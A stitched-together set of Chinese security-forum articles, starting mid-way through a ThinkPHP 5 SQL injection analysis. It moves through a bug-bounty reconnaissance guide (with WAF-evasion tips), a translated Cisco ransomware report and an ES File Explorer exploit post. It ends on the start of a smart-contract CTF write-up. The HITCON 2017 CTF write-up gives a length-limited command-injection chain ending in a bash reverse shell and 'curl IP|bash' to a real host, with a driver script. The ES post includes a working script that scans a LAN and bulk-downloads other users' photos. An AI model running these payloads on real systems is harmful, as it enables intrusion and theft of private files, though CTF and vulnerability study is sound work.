foreach ($types as $key => $type) {
$bind[$key] = $this->getFieldBindType($type);//同样绑定类型
}
}
return $bind;
}
看下bind
直接返回到了parseData，
回到parseData方法
if ('*' == $options['field']) {
$fields = array_keys($bind);//把键名变成小写,id username赋值给了fields
} else {
$fields = $options['field'];
}
$result = [];
foreach ($data as $key => $val) {//现在变成data了，遍历请求中的参数
$item = $this->parseKey($key, $options);//进入
parseKey方法
/**
* 字段和表名处理
* @access protected
* @param string $key
* @param array $options
* @return string
*/
protected function parseKey($key, $options = [])//key是username option是配置数组
{
$key = trim($key);
if (strpos($key, '$.') && false === strpos($key, '(')) {//检测是否是json字段，
// JSON字段支持
list($field, $name) = explode('$.', $key);
$key = 'json_extract(' . $field . ', \'$.' . $name . '\')';
} elseif (strpos($key, '.') && !preg_match('/[,\'\"\(\)`\s]/', $key)) {//key中，没有. 跳过
list($table, $key) = explode('.', $key, 2);
if ('__TABLE__' == $table) {
$table = $this->query->getTable();
}
if (isset($options['alias'][$table])) {
$table = $options['alias'][$table];
}
}
if (!preg_match('/[,\'\"\*\(\)`.\s]/', $key)) {//正则不匹配，在加上! 进入
$key = '`' . $key . '`';//key两端加上反引号``
}
if (isset($table)) {
if (strpos($table, '.')) {
$table = str_replace('.', '`.`', $table);
}
$key = '`' . $table . '`.' . $key;
}
return $key;//最后把加上反引号的key返回，`key`
}
回到parseData方法
if (is_object($val) && method_exists($val, '__toString')) {//val是请求参数的值，很明显不是对象
// 对象数据写入
$val = $val->__toString();//这里有个string魔术方法，如果有可以写文件的类说不定，还可以利用
}
if (false === strpos($key, '.') && !in_array($key, $fields, true)) {//key中没有点"." 直接跳过，
//这个if分支应该是用来判断前端传过来的参数是否有对应的数据库字段
if ($options['strict']) {
throw new Exception('fields not exists:[' . $key . ']');
}
} elseif (is_null($val)) {
$result[$item] = 'NULL';
} elseif (is_array($val) && !empty($val)) {//判断请求中传过来的参数值，并且进行了一个拼接，
//需要控制第一个参数是inc或者dec，所以说payload中有一个inc，改成dec也可以
switch ($val[0]) {
case 'exp':
$result[$item] = $val[1];
break;
case 'inc':
$result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
break;
case 'dec':
$result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
break;
}
} elseif (is_scalar($val)) {//因为val是一个数组，不是标量，直接跳过
// 过滤非标量数据
if (0 === strpos($val, ':') && $this->query->isBind(substr($val, 1))) {
$result[$item] = $val;
} else {
$key = str_replace('.', '_', $key);
$this->query->bind('data__' . $key, $val, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR);
$result[$item] = ':data__' . $key;
}
}
}
return $result;//把拼接之后的sql语句返回
}
看一下现在的result数组
回到Builder类的insert方法
if (empty($data)) {
return 0;
}
$fields = array_keys($data);//字段名`username`
$values = array_values($data);//要插入的东西 updatexml(1,concat(0x7e,user(),0x7e),1)+1
$sql = str_replace(//这里会对模板sql语句进行一个替换
['%INSERT%', '%TABLE%', '%FIELD%', '%DATA%', '%COMMENT%'],
[
$replace ? 'REPLACE' : 'INSERT',
$this->parseTable($options['table'], $options),
implode(' , ', $fields),//根据逗号, 把字符串连接成数组
implode(' , ', $values),
$this->parseComment($options['comment']),
], $this->insertSql);
return $sql;
}
大致是这样
模板sql语句是这样的
回到insert方法
看一下现在的sql语句
已经把payload 拼接上了
// 获取参数绑定
$bind = $this->getBind();
if ($options['fetch_sql']) {//fetch_sql没有设置，所以跳过
// 获取实际执行的SQL语句
return $this->connection->getRealSql($sql, $bind);
//
}
// 执行操作
$result = 0 === $sql ? 0 : $this->execute($sql, $bind);//这里就把sql给执行了
跟一下execute方法
这里同样是用的PDO预处理
后面这里执行
## 总结
漏洞的产生点，主要有两个
1、获取参数时，开启了数组的获取方式
2、当参数中有inc dec时，进行了参数的拼接，把payload带入到了sql语句中
参考链接
<https://nikoeurus.github.io/2020/01/14/ThinkPHP%205%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B9%8BSQL%E6%B3%A8%E5%85%A5(%E4%B8%80)/#%E6%BC%8F%E6%B4%9E%E7%AE%80%E8%BF%B0> | 社区文章 |
### 前言
目前在读大学生，挖过半年SRC，发现实验室刚入的大一新生有大多数都不是很了解某个具体网站的漏洞要如何挖掘，想借这篇文章总结一下漏洞挖掘的基本步骤。
### 基础
网上有很多相似的文章，却没讲挖洞需要具备的前提条件是什么，我来讲一下自己的看法：
* **对漏洞的认知**
我认为，挖洞的第一步，是要学习漏洞是怎么产生的，有什么样的修复方案，如果对漏洞进行了某些修复，能否绕过。
举个例子：
SQL注入的产生是由于代码中将用户可控的字符带入进了数据库查询语句中，没有进行过滤/过滤的并不完善，即可产生SQL注入。
而SQL注入一般又在哪几个点：增/删/改/查
但凡网站中有涉及到这些地方的点，我们都可以尝试去测试是否存在SQL注入。
但是如果我们不知道以上知识，我们又该如何挖掘SQL注入这种类型的漏洞呢？
* 没有具体的挖洞步骤
拿到一个网站的时候，我们需要使用已有的知识在脑中做出一个挖掘步骤图。
比如如果你拿到的是一个购物网站，第一步是做什么，而你拿到某个登陆系统，又该做什么。
拿到一个网站，如果你不知道该测什么，连想法都没有，那要怎么挖洞呢。
* 对应防护没有思考对应解决办法
很多人遇到网站存在WAF就放弃了，但是有没有想过绕过这个WAF呢。
比如某网站存在WAF，在单位时间内如果对该网站发出请求超过一定测试，IP就会被ban，这时候很多人就放弃了，但是有没有想过使用代理池来扫描等解决方案。
还有，有的网站ban
IP并不一定是基于请求数，可能是获取你的IP并判断IP访问次数，这个时候是不是就可以思考一下他是怎么获取到你的IP的，是使用可伪造的headers头获取的吗？那是不是就可以考虑使用随机XFF/UA等方式来绕过这种黑名单策略。
### 前期
之前看过一篇文章：《 **漏洞挖掘的本质是信息搜集**
》，我其实很认可这句话，因为你挖洞是基于你所搜集的资产来挖的，资产的量决定了你当前水平可挖掘的漏洞的质量。
我就不分什么常规非常规了，能搜集资产的方式我都一一列出来。
* 天眼查
从天眼查的知识产权栏中，可以找到网站申请的一些产权，其中包含了网站资产。
* ICP备案查询
使用接口查询企业ICP备案，可以获取在某企业名下备案的所有网站资产。
以某东为例：
之前写了一个现成的脚本，可以批量查询企业ICP备案，只需要传入域名就行。
单线程：
import requests
import threading
import re
targets = []
names = []
def icp_info(host):
url = "https://icp.chinaz.com/ajaxsync.aspx?at=beiansl&callback=jQuery111305329118231795913_1554378576520&host=%s&type=host"%host
html = requests.get(url,timeout=(5,10)).text
pattern = re.compile('SiteName:"(.*?)",MainPage:"(.*?)"',re.S)
info = re.findall(pattern,html)
for i in range(0,32):
try:
name = info[i][0]
target = info[i][1]
print("%s:%s"%(name,target))
if target not in targets:
targets.append(target)
with open("icp_info.txt","a+") as f:
f.write("%s:%s"%(name,target) + "\n")
continue
else:
continue
except Exception as e:
continue
def start():
with open("url.txt","r+") as a:
for b in a:
b = b.strip()
icp_info(host=b)
a.close()
def main():
thread = threading.Thread(target=start,)
thread.start()
if __name__ == '__main__':
main()
先知的代码块可能不太友好，可以看看图片：
使用方法：urls.txt传入你需要查询的网站，会自动对获取到的domain进行去重。
* 维基百科
使用维基百科对某些添加资产词条的网站可以获取到其部分资产信息：
但是某东没有添加该词条，所以获取不到相关信息。
* Whois
步骤：
先对已知网站进行whois查询，我们这里可以去微步查询历史whois，可以获取到历史的whois信息。
利用这些信息，我们就可以反查whois，获取该注册者/电话/邮箱下的相关域名。
我正在写一个脚本，即批量获取whois->反查whois->提取关键信息->去重。
写好了我会发到github上，可关注：<https://github.com/p1g3/>
* shodan/zoomeye/fofa
我们可以直接搜索网站官网，可以获得一些页面/头部中含有该关键字的网站。
zoomeye：
shodan：
fofa：
此外，我们还可以利用这些搜索引擎的搜索语法来获取资产。
shodan可以搜索指定公司的资产，也可以利用特定的网站logo来获取资产。
比如我们发现某东的网站icon基本为同一个，我们就可以先去搜索jd.com，获取其带有icon的网站，随便选一个获取hash后利用搜索语法来获取指定icon的网站。
fofa可以直接利用domain关键字来搜索特定网站下的子域名：
zoomeye可以利用hostname关键字来获取主机列表中的资产：
* Github
github也可以用来获取资产，但是大多数情况下还是用于获取敏感信息(用户名/密码/邮箱)等。
当然也可以用来搜索资产：
这里推荐一款平时在用的github敏感信息搜集工具：
<https://github.com/FeeiCN/GSIL>
我们可以自定义规则，来获取自己所需要的信息。
* 微信公众号
这里还是以某东为例：
我们不仅可以搜集企业公众号，还可以搜集企业的小程序，因为其中大部分都是会与WEB端的接口做交互的。
公众号：
小程序：
* APP
我们不光需要从企业网站中寻找该企业开发的APP，也可以自己通过关键字来获取APP，因为其中有的APP是内测的，只是上线了，但是还未对外公布。
以某东为例：
我们除了直接搜索企业关键字外，还可以获取其开发者的历史开发记录：
这样循环：APP->开发者->APP
在这过程中我们往往能获取到许多APP，后续再对其进行相关的渗透。
* 互联网搜索引擎
我们可以使用Google/Bing/Baidu等网站对某个网站进行资产搜集：
当然，搭配搜索语法食用效果更佳：
* APK搜集资产
之前提到了搜集APP资产，有的APP实际上并不只是使用用户可用的那几个接口，可能还有接口在代码中，这时候可以用工具将这些URI提取出来。
这里推荐两款从APK中提取有效信息的工具：
<https://github.com/0xPwny/Apkatshu>
<https://github.com/s0md3v/Diggy>
* JS获取敏感接口
很多刚挖洞的师傅可能不太注意JS，但实际上JS中可能隐藏了很重要的接口，其中可能就存在未授权等漏洞，这里推荐朋友写的一款从JS中提取有效域名/api的工具。
JSFINDER：<https://github.com/Threezh1/JSFinder>
调的是LinkFinder的正则，可以循环爬取，即：
爬取domain->获取domain主页面下的link->获取domain主页面下的js->获取link页面下的js->解析所有js并提取出有效信息
### 中期
到了此步我们已经搜集了企业的大部分资产了，剩下的就是获取更多资产，即子域名/IP/PORT/服务...等。
* 子域名
sublist3r：
这是一款很不错的工具，调用了几个搜索引擎以及一些子域名查询网站的API，具体可以去项目页查看。
sublist3r：<https://github.com/aboul3la/Sublist3r>
subfinder：
这款工具调用的API有很多：
Ask，Archive.is，百度，Bing，Censys，CertDB，CertSpotter，Commoncrawl，CrtSH，DnsDB，DNSDumpster，Dnstable，Dogpile，Entrust CT-Search，Exalead，FindSubdomains，GoogleTER，Hackertarget，IPv4Info，Netcraft，PassiveTotal，PTRArchive，Riddler ，SecurityTrails，SiteDossier，Shodan，ThreatCrowd，ThreatMiner，Virustotal，WaybackArchive，Yahoo
初次使用需要我们自己配置API接口的账号/密码/key...等。
图片源于youtube：
subfinder：<https://github.com/subfinder/subfinder>
github：
LAYER：
很早之前法师写的一款工具，可以自动过滤泛解析的域名，字典+API的方式来搜集资产，当然更多的是字典，速度也相当可观：
altdns：
这款工具我一般是到最后采集完了所以子域名并去重后使用的，他可以帮助我们发现一些二级/三级十分隐蔽的域名。
以vivo举例：
altdns：<https://github.com/infosec-au/altdns>
* IP
关于企业IP的搜集我们可以直接写脚本去调ip138的接口，可以获取到当前解析IP和历史解析IP，还是比较全的。
ip138：<http://www.ip138.com/>
获取完企业的IP范围之后，我们就可以用nmap/masscan等工具对其端口/服务进行扫描，这个过程可能会有点久。
我们需要先判断企业是直接买了一个C段的IP，还是只使用一个IP，再选择扫描整个C段或者是单个IP。
这是我之前使用nmap对某东域名批量进行C段扫描的结果：
我们的注意力可以放在几个WEB服务端口，和一些可能存在漏洞的服务端口，如redis/mongodb等。
**至此，资产搜集基本已经结束了，我们可以将搜集到的资产选择性的入库，这样之后获取新资产时就可以对比一下是否存在** 。
### 后期
这部分可能是我写的最少的部分。
获取完资产之后，就是苦力活了，我的步骤是，先把获取到的资产丢到扫描器(awvs/nessus)里先扫一遍，避免一些没必要的体力劳动。
nessus主要用来扫描端口服务的漏洞以及一些系统CVE，awvs主要用来扫描WEB端的漏洞，如XSS/SQLI/CSRF/CORS/备份文件...等等。
指纹识别部分可以使用云悉的，可以自己写个插件然后申请个API：
我还会用BBSCAN/weakfilescan来扫描网站中可能存在的敏感信息，如.git/.svn/备份文件等等。
BBSCAN：<https://github.com/lijiejie/BBScan>
weakfilescan：<https://github.com/ring04h/weakfilescan>
之后的基本就是手动劳动了，对获取到的资产利用已有知识一个个的测。 | 社区文章 |
参考：
https://blog.csdn.net/calmegm/article/details/80874902
https://www.leavesongs.com/SHARE/some-tricks-from-my-secret-group.html
https://blog.csdn.net/calmegm/article/details/80874902
### 0x01：linux中的 > 符号和 >> 符号
1.通过>来创建文件
>test.txt
ls
2.通过>将命令执行的结果存入文件中
echo "hello world">test
但是通过>来将命令执行结果写入文件会覆盖掉文件原本的内容，如果我们想要在原本文件内容后面追加内容就要使用>>
echo "aaa">test
cat test
echo "bbb">>test
cat test
### 0x02：linux中命令换行
在linux中，当我们执行文件中的命令的时候，我们通过在没有写完的命令后面加 "\"，可以将一条命令写在多行
比如我们有一个test文件内容如下：
ec\
ho \
hello \
world!
然后我们用sh命令来执行一下：
sh test
成功输出了 hello world!
### 0x03：ls -t命令
在linux中，我们使用ls -t命令后，可以将文件名按照时间顺序排列出来（后创建的排在前面）
touch a
touch b
touch c
ls -t
### 0x04：利用ls -t 和 > 以及换行符 绕过长度限制执行命令
我们先看执行如下命令的结果：
ls -t>test
cat test
ls -t 命令列出文件名，然后每个文件名按行储存，如果我们将我们要执行的命令拆分为多个文件名，然后再结合命令换行，然后通过 ls -t >
test这样的方式再写入某个文件来运行不就可以绕过命令长度限制了吗，而且从上面我们可以看出，ls -t>test的执行顺序是先创建文件test，然后执行ls
-t，然后将执行结果写入test文件
我们可以做如下小实验：
比如我们要执行 echo hello world
> "rld"
> "wo\\"
> "llo \\"
> "he\\"
> "echo \\"
ls -t > _
sh _
我们可以看到，因为我们最后创建的文件 "_"的文件名会输入到文件中导致一个错误信息，但是并不影响我们下面命令的执行，最终成功的输出了 "hello
world"
这里使用了两个 \ 是因为我们需要转义掉多行命令的换行，如果我们只使用一个 \ 那么就会被误解为正在多行执行命令，就会出现下面这种情况
echo \
hello world
### 0x05：hitcon 2017 babyfirst-revenge
这道ctf题目考的就是绕过长度限制执行命令
<?php
error_reporting(E_ALL);
$sandbox = '/var/www/html/sandbox/'.md5("orange".$_SERVER['REMOTE_ADDR']);
mkdir($sandbox);
chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
既然可以执行命令，那么我们首先想到的是反弹一个shell回来
bash反弹shell的命令如下：
bash -i >& /dev/tcp/vps的ip/监听的端口 0>&1
空格需要转义
>\ \\
构造空格就用去了五个字符，我们的语句里面有两个空格，而相同的文件名只能有一个，因此这里不能直接执行bash反弹shell
那么通过将反弹语句放在vps上，然后通过如下方式来执行：
curl ip地址|bash
我们先在自己的vps新建一个文件，内容为
bash -i >& /dev/tcp/120.79.33.253/7777 0>&1
然后在vps上面监听7777端口
nc -lv 7777
因为ls -t>_的长度也大于5，所以要要把ls -t>y写入文件
ls命令排序的规则是空格和符号最前，数字其次，字母最后
>ls\\
ls>_
>\ \\
>-t\\
>\>y
ls>>_
那么我们再构造curl 120.79.33.253|bash
>bash
>\|\\
>53\\
>2\\
>3.\\
>3\\
>9.\\
>7\\
>0.\\
>12\\
>\ \\
>rl\\
>cu\\
然后运行
sh _
生成文件y
再执行
sh y
最后贴一下我的py脚本
#encoding:utf-8
import requests
baseurl = "http://120.79.33.253:9003/?cmd="
reset = "http://120.79.33.253:9003/?reset"
s = requests.session()
s.get(reset)
# 将ls -t 写入文件_
list=[
">ls\\",
"ls>_",
">\ \\",
">-t\\",
">\>y",
"ls>>_"
]
# curl 120.79.33.253|bash
list2=[
">bash",
">\|\\",
">53\\",
">2\\",
">3.\\",
">3\\",
">9.\\",
">7\\",
">0.\\",
">12\\",
">\ \\",
">rl\\",
">cu\\"
]
for i in list:
url = baseurl+str(i)
s.get(url)
for j in list2:
url = baseurl+str(j)
s.get(url)
s.get(baseurl+"sh _")
s.get(baseurl+"sh y")
#s.get(reset)
成功拿到shell
自搭测试地址：<http://120.79.33.253:9003>
想要复现一波的大佬可以复现一下，但请不要破坏环境
如有错误，还望各位大佬指出 | 社区文章 |
# 思科发布安全报告：勒索软件成史上最赚钱的恶意软件
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<http://www.networksasia.net/article/new-ransomware-tactics-emerging-maximize-profit-says-cisco-report.1470841135>
译文仅供参考，具体内容表达以及含义原文为准。
思科2016年年中网络安全报告(MCR)显示，迄今为止,勒索软件已经成为历史上最赚钱的恶意软件类型。而且思科预计这种趋势将会继续，因为一些更具破坏性的勒索软件可以自己传播并且控制整个网络,从而要挟一些公司。
勒索软件新的模块化变种能够快速切换战术来使得效益最大化。例如,未来的勒索软件攻击可以通过限制CPU使用率,避免指挥-控制型行动来逃避检测。这些新的勒索软件变种在协调赎金活动之前会在组织内部快速传播并进行自我复制。
报告指出，绝大部分组织机构并没有对未来更复杂的勒索软件变种做好准备措施。脆弱的基础设施,参差不齐的网络环境,缓慢的检测率为敌人提供了足够的操作时间和空中掩护。
根据报告的结果,难以约束攻击者的操作空间是企业面临的最大挑战，并且威胁到了数字转换所需的底层基础。
跨网络和端点的可见性仍然是一个主要的挑战。平均来说，组织机构需要200天来识别新的威胁。思科的平均检测时间(TTD)继续领先行业,
截止到2016年4月的六个月内，最低需要大约13个小时检测到未知攻击。这个结果低于2015年10月结束的17.5小时。更快的检测到威胁的时间是至关重要的，它可以限制攻击者的操作空间并且将损失降到最小化。
随着攻击者的不断创新,许多防御者也在继续不断地维护着他们的设备和系统的安全。那些不被支持和未打补丁的系统给攻击者提供了额外的机会来轻松获取权限，同时还可以隐藏自身，将伤害和利润最大化。思科2016年年中网络安全报告显示,这个挑战在全球范围内仍然存在。
此外，一些关键行业的组织（比如医疗行业）在过去的几个月里经历了大幅上升的攻击。报告的结果还表明,所有的垂直市场和全球地区都被列为了攻击目标。
在2016年上半年，俱乐部和组织、慈善机构和非政府组织(NGOs),以及电子产品企业都遭受了不断上升的攻击活动。
在世界舞台上,地缘政治担忧造成了监管的复杂性和矛盾的国家之间的网络安全政策。控制或访问数据的需求可能会限制国际贸易格局。
**攻击者的操作不受约束**
对攻击者来说,更多的未被发现的时间来进行操作可以导致更多的利润。根据思科的报道,在2016年上半年,攻击者利润飙升主要是由于以下几点:
1.扩大关注点:攻击者将他们的关注点从客户端扩展到了服务器端的利用攻击,从而躲避检测和扩大潜在的损害，进而使得利润最大化。
Adobe Flash漏洞继续成为恶意广告和开发工具包的首选目标之一。在流行的核开发工具包中,Flash占据了成功利用的80%。
思科也看到了一个新的趋势：勒索软件攻击开始利用服务器漏洞——特别是JBoss服务器。全球10%的联网JBoss服务器受到了攻击。许多用来攻击JBoss服务器的漏洞都是五年前发现的,这意味着基本的补丁修复和更新就可以轻松阻止这种攻击。
2.进化攻击方法:在2016年上半年,对手不断进化他们的攻击方法来利用防御缺乏可见性。
在过去的六个月内，Windows二进制利用逐步上升为使用最多的网络攻击方法。这种方法为攻击者在网络基础设施内部提供了一个强大的立足点,使得这些攻击更难识别和移除。
在同一时间内,通过Facebook进行社会工程的诈骗自2015年以来首次降至第二。
3.掩盖踪迹:这是对防御可见性的又一挑战,对手越来越多的使用加密的方法来掩盖他们使用各种组件进行的操作。
思科发现加密货币,安全传输协议和Tor的使用不断增加,因为这些支持在网络上匿名通信。
值得注意的是,使用在恶意广告活动中的HTTPS加密恶意软件从2015年12月到2016年3月增加了300%。加密的恶意软件能够使敌人进一步隐藏他们的网络活动，并且扩大了他们的操作时间。
**防御者在努力减少漏洞,封堵可利用空间**
面对复杂的攻击,有限的资源和基础设施的老化，防御者都在努力跟上他们敌人的步伐。数据显示防御者不太可能解决参差不齐的网络环境,更关键的技术是商业运作。例如:
在浏览器方面, Google Chrome采用了自动更新机制,有75%到80%的用户使用的是最新版本的浏览器,或接近最新的一个版本。
从浏览器转向软件,Java的迁移比较缓慢，有三分之一的系统仍然在运行Java SE 6,该版本已经被甲骨文淘汰了(当前版本是SE 10)。
在微软Office 2013,版本15 x中,只有10%或更少的用户的主要版本使用的是最新的服务包。
此外,思科发现他们大部分的基础设施是不受支持的，并且存在一些已知漏洞。这个问题是系统级的，存在于供应商和终端之间。具体来说,思科公司研究人员在检查了103121个思科连接到互联网的设备之后发现:
平均每台设备运行28个已知的漏洞
设备实际运行的已知漏洞时间平均为5.64年
超过9%的已知的漏洞时间为10年以上
相比之下,思科也检查了一个超过300万个基础设施安装软件的样本。大多数是Apache和OpenSSH，平均带有16个已知的漏洞,平均时间是5.05年。
对终端用户来说，浏览器更新是最轻量级的更新,而企业应用程序和服务器端基础设施是很难进行更新的,因为可能会导致业务连续性问题。从本质上讲,一个应用程序对业务操作越关键,就越不可能进行频繁更新,这就为攻击者创造了可利用空间和机会。
**思科建议用一些简单的步骤来保护业务环境**
思科的研究人员Talos观发现，组织机构可以采取几个简单而重要的步骤来极大地增强操作的安全性,包括:
1.改善网络环境：监控网络，部署补丁和准时升级，网络分段，采取防御措施,包括电子邮件和网络安全,下一代防火墙和下一代入侵防御系统（IPS）
2.集成防御：利用一个架构方法部署安全产品
3.自动测定时间检测：坚持最快时间发现威胁然后立即减轻危害，并促使这项指标成为组织安全策略的一部分
4.保护你的用户：不仅需要保护他们使用的系统,当他们在公司网络上工作时也要确保网络的安全
5.备份关键数据：定期测试备份数据的有效性，并确认备份数据不易被攻击 | 社区文章 |
## 写在前面的话
今天上网的时候看到一个[新闻](https://twitter.com/fs0c131y/status/1085461301588094976),ES文件浏览器存在漏洞，同一个网络下的用户可以直接访问安装了ＥＳ的用户手机上的文件，正好我手机上也安装了es，于是就测试了下。
## 测试
**poc[地址](https://github.com/fs0c131y/ESFileExplorerOpenPortVuln)**下载
**ip** :
开始是192.168.0.100
后来有事去了，再连就是192.168.0.102
**版本号** :4.1.9.4
# 0x00验证漏洞
首先电脑和手机处于同一个网络，再查看我的手机ip,和es的版本
执行命令`python poc.py poc.py --cmd getDeviceInfo --network 192.168.0.`
# 0x01分析原理
看了各位大佬的分析，小白我大概知道了原理，就是向手机发送一个json的数据包,我们使用大佬的[脚本](https://github.com/fs0c131y/ESFileExplorerOpenPortVuln),想手机发送一个数据包，抓包分析一下
确实是发送了一个json的数据包
# 0x02获取受害者手机图片
首先列出受害者手机所有图片
`python poc.py --cmd listPics`
可以看到很多手机图片
# 0x03下载受害者图片
我们随便从刚才获得的列表中挑一张下载试试
`python poc.py -g /storage/emulated/0/DCIM/Camera/IMG_20181218_175120.jpg`
成功将图片下载到本地
# 0x04造个轮子
玩了下大佬的脚本，确实厉害，但是发现一个问题，就是他的脚本会自动扫描局域网所有的ip，这样就会很浪费时间,所以本着练习python编程的想法，自己又造了个轮子
#coding:utf-8
from socket import *
import requests
import re
import json
import sys
addrs = []
def poc():
for ip in range(101, 104):
addr = "192.168.0."+str(ip)
s = socket(AF_INET, SOCK_STREAM)
s.settimeout(1)
if not s.connect_ex((addr, 59777)):
s.close()
print("[+]"+addr+"存在漏洞")
addrs.append(addr)
else:
continue
s.close()
print("[+]扫描结束\n[+]执行操作"+sys.argv[1])
def cmd(cmd):
poc()
for addr in addrs:
headers = {"Content-Type": "application/json"}
address = 'http://' + addr + ':59777'
data = '{ "command":' + cmd + ' }'
r = requests.post(address, headers=headers, data=data)
if cmd == 'listPics':#下载图片
image = re.compile(r'/s.*jpg')
for i in image.findall(r.text):
imageurl = address + i
filename = i.rsplit('/', 1)[1]
r = requests.get(imageurl, headers=headers)
print("[+]正在下载"+i)
with open(filename, 'wb') as f:
f.write(r.content)
#break
elif cmd == 'wx':#启动微信
data = '{"command":"appLaunch", "appPackageName": "com.tencent.mm"}'
r = requests.post(address, headers=headers, data=data)
else:
print(r.text)
def main():
if len(sys.argv) > 1:
cmd(sys.argv[1])
else:
print('Usage:')
print('python3 es.py wx')
print('python3 es.py listPics')
print('python3 es.py listApps')
print('python3 es.py listAudios')
print('python3 es.py listVideos')
print('python3 es.py listAppsPhone')
print('python3 es.py getDeviceInfo')
print('python3 es.py listAppsAll')
if __name__ == '__main__':
main()
添加了一键下载所有图片，启动微信等功能,大致原理就是去请求资源的地址，只要符合APP的方法就行,具体方法参考漏洞路径`4.1.84class2.-dex2jar.jar\com\estrongs\android\f\a.class`
public c.b a(String paramString1, String paramString2, Properties paramProperties1, Properties paramProperties2, Properties paramProperties3)
{
if (paramString1.startsWith("/estrongs_filemgr_oauth_result"))
{
paramString1 = CreateOAuthNetDisk.b();
if (paramString1 != null) {
paramString1.a(paramProperties2);
}
return null;
}
if (paramString2.equals("POST"))//判断发送方法是否为POST
{
localObject = new String(g());
try
{
localObject = new JSONObject((String)localObject);//JSONG解码
String str = ((JSONObject)localObject).getString("command");//获取JSON中command字段值
if (str.equals("listFiles")) {//获取文件列表
return b(paramString1);
}
if (str.equals("listPics")) {//获取图片列表
return d();
}
if (str.equals("listVideos")) {//获取视频列表
return e();
}
if (str.equals("listAudios")) {//获取音频列表
return f();
}
if (str.equals("listApps")) {//获取软件列表
return a(0);
}
if (str.equals("listAppsSystem")) {//获取系统软件列表
return a(1);
}
if (str.equals("listAppsPhone")) {//获取电话软件列表
return a(2);
}
if (str.equals("listAppsSdcard")) {//获取安装在SD卡中的软件列表
return a(3);
}
if (str.equals("listAppsAll")) {//获取全部APP
return a(4);
}
if (str.equals("getAppThumbnail")) {//获取APP缩略图
return d((JSONObject)localObject);
}
if (str.equals("appLaunch")) {//启动APP
return a((JSONObject)localObject);
}
if (str.equals("appPull")) {//下载APP
return c((JSONObject)localObject);
}
if (str.equals("getDeviceInfo"))//获取设备信息
{
paramString1 = b((JSONObject)localObject);
return paramString1;
}
}
catch (JSONException paramString1)
{
paramString1.printStackTrace();
return new c.b(this, "500 Internal Server Error", "text/plain", paramString1.toString());
}
}
Object localObject = ah.bL(paramString1);
if ((localObject == null) || (ah.I((String)localObject) == 0))
{
if (localObject == null) {
return super.a(paramString1, paramString2, paramProperties1, paramProperties2, paramProperties3);
}
return super.a((String)localObject, paramString2, paramProperties1, paramProperties2, paramProperties3);
}
paramString1 = paramProperties1.getProperty("range");
if ((paramString1 != null) && (paramString1.startsWith("bytes=")))
{
paramString2 = paramString1.substring("bytes=".length());
int i = paramString2.indexOf('-');
paramString1 = paramString2;
if (i > 0) {
paramString1 = paramString2.substring(0, i);
}
}
for (;;)
{
try
{
l = Long.parseLong(paramString1);
return a((String)localObject, l, 0L);
}
catch (NumberFormatException paramString1)
{
l = 0L;
continue;
}
long l = 0L;
}
}
# 0x05其他功能
listFiles：列出所有文件
listPics：列出所有图片
listVideos：列出所有视频
listAudios：列出所有音频文件
listApps：列出所有已安装的应用
listAppsSystem：列出所有系统应用
listAppsPhone：列出所有手机应用
listAppsSdcard：列出所有sdcard
listAppsAll：列出安装的所有应用程序（包括系统应用程序）
getDeviceInfo：获取设备信息
appPull：从设备中提取应用程序。需要包名称参数
appLaunch：启动应用程序。需要包名称参数
getAppThumbnail：获取应用程序的图标。包名称参数是必需的
最后还要膜下发现漏洞的大佬，是真的强。文章有什么不足，各位师傅多多指出。 | 社区文章 |
# 前言
周末抽时间整理了一下seccon的区块链的题目，当时没空打，现在想想还是挺遗憾的，其实这几道题考点并没有多少新颖的地方，不过做题的手法还是有点意思，所以在这里记录一下
# Smart Gacha
这道题有两关，lv1还算简单，很多队伍都做出来了
## lv1
题目描述如下
Toggle the "getItem" boolean value in "fair lottery contract" to true.
If you are lucky, you have only to press "test luck" button once.
Even if you are not lucky, all you have to do is press the button 1,000,000 times.
给出源码如下
pragma solidity^0.4.24;
contract Gacha {
address public owner;
address public player;
uint256 public played = 0;
uint256 public seed;
uint256 public lastHash;
bool public getItem = false;
bytes32 private password;
modifier onlyOwner() {
require(owner == msg.sender);
_;
}
constructor(bytes32 _password, uint256 _seed, address _player) public {
owner = msg.sender;
player = _player;
password = _password;
lastHash = uint256(blockhash(block.number-1));
seed = _seed;
}
function pickUp() public returns(bool) {
require(player == msg.sender);
uint256 blockValue = uint256(blockhash(block.number-1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
played++;
if (mod(played, 1000000) == 0) {
getItem = true;
return getItem;
}
uint256 result = mod(seed * block.number, 200000);
seed = result;
if (result == 12345) getItem = true; // Flag is here!!
return getItem;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
function initSeed(uint256 _seed) onlyOwner public {
seed = _seed;
}
function changeOwner(bytes32 _password) public {
if (password == _password) owner = msg.sender;
}
}
代码并不长，逻辑也很简单，在合约部署时需要指定player，同时题目会设置密码以及初始化种子，然后合约会保存前一个块的hash。然后我们往下看，pickUp函数就是我们用来投注的函数，找到其中随机数生成的部分
> uint256 result = mod(seed * block.number, 200000);
很有意思，它是直接拿区块号和seed相乘再用200000取模得到随机数，然后使用它更新seed，而我们的目标是让结果等于12345，这样才能得到flag，另外前面还有一个play次数的判断，如果我们调用pickUp达到1000000次，那么也可以解锁，不过显然这并不现实。
在函数的第一部分还使用lashhash锁定了区块，这样在每个区块里你只能调用该函数一次，进一步封锁了捷径，这样看起来我们要满足条件还是比较困难的，然而在合约的最后我们注意到seed是可以修改的，条件是合约的owner，而修改合约的owner需要知道密码，而密码是在初始化题目部署合约时由题目设定的，在前面的变量的定义里它是个private变量，仅能被合约内部调用，我们是不能直接看到的。
不过我相信熟悉EVM的人应该都知道合约里的状态变量我们都是可以通过getStorageAt读到的，所以这里的密码我们是可以直接获取的，然后我们就可以取得合约的owner，之后就可以修改seed，根据后面的区块号选定一个特定值，之后只要在满足的区块里调用pickUp函数即可，利用思路还是比较清晰的，所以lv1还算比较简单，比赛的时候也有很多队伍做出来了
